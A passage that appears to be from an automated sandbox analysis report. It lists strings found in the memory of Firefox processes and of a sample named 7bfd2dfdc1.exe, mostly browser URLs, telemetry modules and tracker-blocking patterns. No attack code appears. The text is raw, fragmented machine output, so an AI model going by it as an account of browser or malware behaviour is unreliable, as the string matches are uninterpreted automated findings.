style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{&quot;title&quot;:&quot;YouTube&quot;}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: experimental.hideHeuristicmaxHistoricalSearchSuggestionsDOM_VK_WIN_OEM_FJ_MASSHOUremoveDocumentStateListenerhttps://www.youtube.com/accountget _arrowNavigableWalkerDOM_VK_CLOSE_CURLY_BRACKET.panel-header > h1 > spansetSpellcheckUserOverride_getBoundsWithoutFlushingMust provide a boolean argumentincrementModificationCount equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: fingerprinting-annotationhttps://www.youtube.com/accountfingerprinting-annotationsocialtracking-annotation_isMixedActiveContentLoaded_isMixedActiveContentBlockedgetLocalizedFragment/partIndex<get _isMixedActiveContentBlocked_isMixedPassiveContentLoadedSTATE_IDENTITY_EV_TOPLEVEL_isAboutHttpsOnlyErrorPageusesClickInsteadOfCommandsocialtracking-annotationhttps://www.youtube.com/accountget _isMixedActiveContentLoadedget _isMixedPassiveContentLoadedget _isCertUserOverriddenSTATE_CERT_USER_OVERRIDDENget _isAboutHttpsOnlyErrorPage_isPotentiallyTrustworthy@mozilla.org/remote/agent;1applicationProvidedHiddenWindow_isContentHttpsOnlyModeUpgradedSTATE_HTTPS_ONLY_MODE_UPGRADEDbrowser.quitShortcut.disabled_isContentHttpsFirstModeUpgraded@mozilla.org/remote/marionette;1PageActions._initBuiltInActionsstartEventLoopLagTrackinghttps://www.youtube.com/accountdraggableregionleftmousedownhttps://www.youtube.com/accountget _identityPopupMultiViewget _httpsOnlyModeEnabledPBMget _httpsFirstModeEnabled_httpsFirstModeEnabledPBMenableMixedContentProtection_identityPopupContentOwnernsIHttpsOnlyModePermissionget _httpsOnlyModeEnabled_identityPopupSecurityViewget _identityPopupContentOwnerdisableMixedContentProtectiondom.security.https_only_modeLOAD_INSECURE_ALLOW_SESSIONidentity-popup-securityViewget _identityPopupContentSuppdom.security.https_only_mode_pbmget _httpsFirstModeEnabledPBMget _isPotentiallyTrustworthy_identityPopupContentVerifget _identityPopupContentVerifMIXED_CONTENT_UNBLOCK_COUNTERget _identityPopupMainViewidentity-popup-content-verifierget _identityPopupSecurityView_identityPopupContentSupp.identity-popup-mcb-learn-more_insecureConnectionIconEnabledidentity-popup-content-owner_insecureConnectionTextEnabledidentity-popup-security-buttonkMIXED_CONTENT_UNBLOCK_EVENTdom.security.https_first_pbmbrowser-fullZoom:location-changeFullZoom__applyPrefToZoom/<FullZoom__getTargetedBrowserbrowser.content.full-zoomFullZoom__applyZoomToPref/<identity.extension.tooltiphttp://www.w3.org/1999/xhtmlFullZoom_onContentPrefRemovedFullZoom__onContentPrefChanged_isNextContentPrefChangeInternalFullZoom__applyPrefToZoomhandleIdentityButtonEventbrowser.zoom.siteSpecificFullZoom__applyZoomToPrefpointerlockFsWarningClassNameFullZoom__getBrowserToken_hasInvalidPageProxyState_trackingProtectionIconContainerchangeHttpsOnlyPermissionUnexpected zoom event sourcesecure-cert-user-overriddenidentity-site-informationidentity.ev.contentOwner2browser.content.full-zoomidentity.notSecure.tooltipcertErrorPage notSecureTextidentity.identified.verifierFullZoom_onContentPrefSetFullZoom_onLocationChangeFullZoom__loadContextFromBrowserFullZoom__notifyOnLocationChange_ignorePendingZoomAccesseswidget-overflow-fixed-listbrowser.fullscreen.autohidecustomizationui-widget-multiview_formatDescriptionMessageupdateNotifications/doorhangers<fetchuserConfiguration: _refreshNotificationPanelselectAndMarkItem/viewShownCB/<web-developer-tools-view-showingappmenu-developer-tools-viewensureWhatsNewInitializedappMenu-no
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ads.stickyadstv.com/firefox-etp*://*.adsafeprotected.com/jsvid?**://*.adsafeprotected.com/*/Serving/**://*.adsafeprotected.com/*/imp/*color-mix(in srgb, currentColor 9%, transparent)--autocomplete-popup-separator-color*://pubads.g.doubleclick.net/gampad/*ad**://ads.stickyadstv.com/auto-user-sync*--panel-banner-item-update-supported-bgcolor--panel-banner-item-info-icon-bgcolorcolor-mix(in srgb, currentColor 9%, transparent)*://vast.adsafeprotected.com/vast**://www.facebook.com/platform/impression.php*executeIDB/promise</transaction.onabort equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/*browser.engagement.session_time_including_suspend*://id.rambler.ru/rambler-id-helper/auth_events.js*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*assemblePayloadWithMeasurements/measurements.keyedScalars<datareporting.policy.dataSubmissionPolicyBypassNotificationdatareporting.policy.dataSubmissionPolicyAcceptedVersionresource://gre/modules/ExtensionProcessScript.sys.mjsresource://gre/modules/ExtensionStorageIDB.sys.mjsextensions.userContextIsolation.defaults.restrictedassemblePayloadWithMeasurements/payloadObj.lateWrites<assemblePayloadWithMeasurements/payloadObj.slowSQL<assemblePayloadWithMeasurements/payloadObj.addonDetails<assemblePayloadWithMeasurements/measurements.scalars<assemblePayloadWithMeasurements/measurementsContainSocket<datareporting.policy.dataSubmissionPolicyNotifiedTimeassemblePayloadWithMeasurements/payloadObj.fileIOReports<resource://gre/modules/TelemetryControllerBase.sys.mjsassemblePayloadWithMeasurements/measurements.keyedHistograms<resource://gre/modules/addons/AddonSettings.sys.mjsassemblePayloadWithMeasurements/measurementsContainUtility<resource://gre/modules/ExtensionPermissions.sys.mjsresource://gre/modules/ExtensionScriptingStore.sys.mjsresource://gre/modules/ExtensionTelemetry.sys.mjsresource://gre/modules/LightweightThemeManager.sys.mjsresource://gre/modules/ServiceWorkerCleanUp.sys.mjsassemblePayloadWithMeasurements/measurementsContainGPU<toolkit.telemetry.shutdownPingSender.enabledFirstSessionresource://gre/modules/ExtensionStorageSync.sys.mjs_sendDailyPing - Failed to save the aborted session pingresource://gre/modules/addons/siteperms-addon-utils.sys.mjsresource://gre/modules/ExtensionPermissionMessages.sys.mjs_onEnvironmentChange - throttling; last change was assemblePayloadWithMeasurements/measurements.histograms<resource://gre/modules/ExtensionPreferencesManager.sys.mjs equals www.rambler.ru (Rambler)
Source: firefox.exe, 0000001C.00000002.2808131250.00002B2183100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2780213062.0000025B4954D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2767695343.0000025B485C3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2786679292.0000025B49993000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2791367449.0000025B4A9E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44574000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44574000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44574000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44574000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44574000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44574000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44574000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44574000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44574000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44574000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44574000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2753033132.0000025B45641000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44574000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2753033132.0000025B45641000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44574000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2753033132.0000025B45641000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3449153827.0000000006494000.00000004.00000020.00020000.00000000.sdmp, 7bfd2dfdc1.exe, 00000014.00000002.3431370570.000000000212F000.00000004.00000020.00020000.00000000.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3450037766.0000000006A20000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2741644582.0000025B37F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/account@ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/account_searchModeIndicatorTitle equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2808131250.00002B2183100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2807782092.000028FB03900000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.comZycC[ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4913D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: permission-popup-permission-iconhttps://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: resource://devtools/shared/security/socket.js@mozilla.org/dom/slow-script-debug;1Got invalid request to save JSON datadevtools.performance.recording.ui-base-urlFailed to listen. Listener already attached.Failed to execute WebChannel callback:No callback set for this channel.browser.fixup.domainsuffixwhitelist.get FIXUP_FLAG_ALLOW_KEYWORD_LOOKUPget FIXUP_FLAGS_MAKE_ALTERNATE_URIdevtools/client/framework/devtools^([a-z][a-z0-9.+\t-]*)(:|;)?(\/\/)?devtools.debugger.remote-websocketWebChannel/this._originCheckCallback@mozilla.org/network/protocol;1?name=fileJSON Viewer's onSave failed in startPersistencedevtools/client/framework/devtools-browser{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}Unable to start devtools server on @mozilla.org/network/protocol;1?name=defaultDevToolsStartup.jsm:handleDebuggerFlag^(?<url>\w+:.+):(?<line>\d+):(?<column>\d+)$Failed to listen. Callback argument missing.browser.urlbar.dnsResolveFullyQualifiedNamesreleaseDistinctSystemPrincipalLoader@mozilla.org/uriloader/handler-service;1DevTools telemetry entry point failed: browser.fixup.dns_first_for_single_words^([a-z+.-]+:\/{0,3})*([^\/@]+@).+^[a-z0-9-]+(\.[a-z0-9-]+)*:[0-9]{1,5}([/?#]|$)resource://devtools/server/devtools-server.jsdevtools.performance.popup.feature-flagresource://gre/modules/ExtHandlerService.sys.mjs@mozilla.org/uriloader/web-handler-app;1resource://gre/modules/URIFixup.sys.mjshttp://www.inbox.lv/rfc2368/?value=%shttp://poczta.interia.pl/mh/?mailto=%s@mozilla.org/network/file-input-stream;1get FIXUP_FLAG_FORCE_ALTERNATE_URI{33d75835-722f-42c0-89cc-44f328e56a86}resource://gre/modules/JSONFile.sys.mjsisDownloadsImprovementsAlreadyMigratedhttps://mail.inbox.lv/compose?to=%sextractScheme/fixupChangedProtocol<https://poczta.interia.pl/mh/?mailto=%s_injectDefaultProtocolHandlersIfNeededCan't invoke URIFixup in the content processhttp://win.mail.ru/cgi-bin/sentmsg?mailto=%shandlerSvc fillHandlerInfo: don't know this type@mozilla.org/uriloader/dbus-handler-app;1resource://gre/modules/DeferredTask.sys.mjshttps://mail.yahoo.co.jp/compose/?To=%sgecko.handlerService.defaultHandlersVersionresource://gre/modules/FileUtils.sys.mjsScheme should be either http or https{c6cf88b7-452e-47eb-bdc9-86e3561648ef}http://compose.mail.yahoo.co.jp/ym/Compose?To=%sresource://gre/modules/FileUtils.sys.mjshttps://e.mail.ru/cgi-bin/sentmsg?mailto=%s@mozilla.org/uriloader/local-handler-app;1resource://gre/modules/NetUtil.sys.mjs_finalizeInternal/this._finalizePromise<extension/default-theme@mozilla.org/extendedDataresource://gre/modules/JSONFile.sys.mjsMust have a source and a callback@mozilla.org/network/simple-stream-listener;1@mozilla.org/network/input-stream-pump;1SEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULLFirst argument should be an nsIInputStream@mozilla.org/intl/converter-input-stream;1newChannel requires a single object argumentNon-zero amount of bytes must be specified@mozilla.org/scriptableinputstream;1https://mail.yahoo.co.jp/compose/?To=%shttps://mail.yandex.ru/compose?mailto=%s@mozilla
Source: firefox.exe, 0000001A.00000003.2672965218.000001E0762ED000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2673881166.000001E0762F2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: s://www.youtube.com/account --attempting-deelevation equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.2811900560.0000025DAED80000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: sers\user\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program F equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2801668303.0000025B4FC03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: tlsflags0x00000000:www.youtube.com:443^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4913D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: userContextIdInternal.thumbnailsafeGetPendingSanitizationssanitizeInternal/<.promise<browser.taskbar.previews.enable@mozilla.org/windows-taskbar;1TRANSITION_REDIRECT_PERMANENTextractMatchingPrincipals/<removePendingSanitization/i<testExactPermanentPermissionrootDomainCookiePermissionshouldStartFrecencyRecalculationTRANSITION_REDIRECT_TEMPORARYmain/addons-manager-settingsbrowser.taskbar.previews.maxgetItemsToClearFromPrefBranch/<@mozilla.org/image/tools;1nsIPrivateBrowsingChannelnsITaskbarPreviewControllercheckIfCookiePermissionIsSet, but it doesn't already exist.xpinstall.signatures.requiredmaybeSanitizeSessionPrincipals/<removePermissionsWithAttributesDISABLE_THRESHOLD_PREF_NAMErecalculateOriginFrecencyStatsCACHE_EXPIRATION_TIME_PREF_NAMECookie denied or session!WEBEXT_BACKGROUND_PAGE_LOAD_MSsanitizeSessionPrincipal/<normandy-preference-rolloutextensions.experiments.enabledCookie check on principal: template-permission-popupUPDATE_REQUIREBUILTINCERTSprivacy.rejectForeign.allowListpictureinpicture@mozilla.org.xpiLANGPACKS_REQUIRE_SIGNINGwebcompat@mozilla.org.xpiextensions.sideloadScopesINSTALL_REQUIREBUILTINCERTSPREF_UPDATE_REQUIREBUILTINCERTSget contentBlockingEventsscreenshots@mozilla.org.xpimain/partitioning-exempt-urls_ensureFormattedHostVisibleSTRICT_ORIGIN_WHEN_CROSS_ORIGINURI_SAFE_FOR_UNTRUSTED_CONTENTALLOW_UNSANITIZED_CONTENTget _identityPermissionBoxformautofill@mozilla.org.xpimain/partitioning-exempt-urlsget _permissionGrantedIconget documentStoragePrincipalPREF_INSTALL_REQUIREBUILTINCERTSUPDATE_REQUIREBUILTINCERTSfirefox-compact-dark@mozilla.orgdefault-theme@mozilla.orgINSTALL_REQUIREBUILTINCERTSmain/partitioning-exempt-urlsmain/partitioning-exempt-urlshttps://account.bellmedia.caNO_REFERRER_WHEN_DOWNGRADEget shouldResistFingerprinting_ensureFormattedHostVisible/<get _defaultPermissionAnchor_createBlockedPopupIndicator_createPermissionClearButtononURLBarUserStartNavigationonCreatedNavigationTargetget _permissionReloadHinthasMicCamGracePeriodsSolelyReceived unexpected result type _getGeoLocationLastAccessgeo-access-indicator-itemblocked-permissions-containerpermission-popup-mainView[anchorfor="3rdPartyStorage"]permission-popup-permission-listpermission-popup-permission-itempermissions.remove.tooltip_permissionPopupPopupMainViewpermission-popup-geo-containerpermission-popup-containerpermission-popup-menulist_removePermPersistentAllowget _permissionPopupMainViewclearPermissionsAndStopSharingblocked-popup-indicator-itembrowser/sitePermissions.ftl_createPermissionClearButton/<_getGeoLocationLastAccess/<_createBlockedPopupIndicator/<urlbar-user-start-navigation_createWebRTCPermissionItemremoveContentClickListenerpermission-popup-permission-iconhttps://www.youtube.com/accountCouldn't create URI from _downloadDocument/</xhr.onloadonReferenceFragmentUpdatedPARSE_ERROR_TOO_MANY_ELEMENTS_convertPlainTextDocumentCS_removeLogEventListenerReader mode disabled for URIError accessing host name: CS_removeLogEventListener/index<resource://gre/update.loc
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: webCOOP+COEP=https://youtube.comhttps://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: webCOOP+COEP=https://youtube.comhttps://www.youtube.com/accountexperimental.searchButton equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2777080126.0000025B4922C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771448680.0000025B489D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771448680.0000025B4898E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2803080213.0000025B50E39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2769652776.0000025B4884B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2754391276.0000025B45A23000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2742050142.0000025B39BFA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: www.youtube.com5 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2740032193.000000BC2C6BC000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: www.youtube.com:443: equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2807782092.000028FB03900000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: www.youtube.comZycC[ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2769652776.0000025B4883D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2769652776.0000025B488A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2767695343.0000025B485D3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: x*://www.facebook.com/platform/impression.php* equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2786679292.0000025B49993000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: x.S........[tlsflags0x00000000]www.youtube.com:443^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2792363422.0000025B4ACED000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: xO^partitionKey=%28https%2Cyoutube.com%29,:https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2784405003.0000025B49738000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: xhttps://www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2786679292.0000025B49993000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744858280.0000025B44445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B4670F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: xhttps://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2801668303.0000025B4FC03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: xtlsflags0x00000000:www.youtube.com:443^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4910A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: {incognito:null, tabId:null, types:["image"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pixel.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", 